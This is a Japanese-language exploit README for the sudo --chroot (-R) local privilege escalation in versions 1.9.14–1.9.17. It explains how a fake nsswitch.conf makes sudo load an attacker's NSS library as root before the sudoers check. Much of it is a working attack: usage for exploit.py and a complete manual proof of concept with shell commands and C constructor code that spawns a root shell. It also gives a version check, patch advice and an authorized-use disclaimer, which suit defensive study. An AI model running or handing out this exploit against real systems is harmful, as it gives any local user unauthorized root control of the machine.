sudo の --chroot (-R) オプションを介した root へのローカル権限昇格。
sudoers エントリが一切ないアカウント (例: www-data) を含む、あらゆるローカルユーザーに対して機能する。
sudo 1.9.14 – 1.9.17 は、sudoers ポリシーがまだ評価されている間にユーザー指定の
ディレクトリへ chroot() する — つまり認可判定の前に。そして、その chroot() の後、sudo の
NSS ルックアップは攻撃者の chroot 内から /etc/nsswitch.conf を読み取り、glibc は偽の
ソース名を dlopen("libnss_<name>.so.2") に変換する — root としてロードされ、そのコンストラクタが実行される。
偽の nsswitch.conf (passwd: /woot1337) と、ELF コンストラクタが setreuid(0) + exec("/bin/bash") を実行する
悪意のある libnss_/woot1337.so.2 を仕込むことで、root シェルが得られる。このエクスプロイトは
sudoers チェックの前に発動するため、呼び出し元に sudo 権限は不要である。
1.9.14 – 1.9.171.9.17p1 (1.9.14 の chroot 変更は取り消され、この機能は非推奨となった)Python 3 標準ライブラリ、脆弱な setuid sudo (1.9.14–1.9.17)、および対象マシン上の gcc (小さな
libnss モジュールをビルドするため)。低権限ユーザーとして実行すること。
python3 exploit.py # -> interactive root shell
python3 exploit.py -c 'id' # run a single command as root
etc/nsswitch.conf = passwd: /woot1337 (+ /etc/group のコピー) を含む chroot ディレクトリを準備する。libnss_/woot1337.so.2 をコンパイルする — コンストラクタ (__attribute__((constructor))) が
setreuid(0,0) と execl("/bin/bash", …) を実行する ELF。sudo -R woot woot — sudo は woot に chroot して NSS を解決し、
libnss_/woot1337.so.2 を root として dlopen し、コンストラクタが
root シェルを提供する — sudo がユーザーの認可を確認する前に。標準的な手動 PoC (Stratascale / pr0v3rbs "chwoot"):
cd $(mktemp -d); mkdir -p woot/etc libnss_
echo 'passwd: /woot1337' > woot/etc/nsswitch.conf; cp /etc/group woot/etc
cat > w.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void){setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/bash","/bin/bash","-p",NULL);}
EOF
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 w.c
sudo -R woot woot # -> root
sudo --version | head -1 # "Sudo version 1.9.14" .. "1.9.17" => vulnerable ; 1.9.17p1 => patched
sudo を 1.9.17p1 以上に更新すること。chroot 機能は非推奨であり、それに依存すべきではない。
許可されたセキュリティテストおよび教育目的のみに使用すること。自分が所有している、または テストする明示的な許可を得ているシステムに対してのみ使用すること。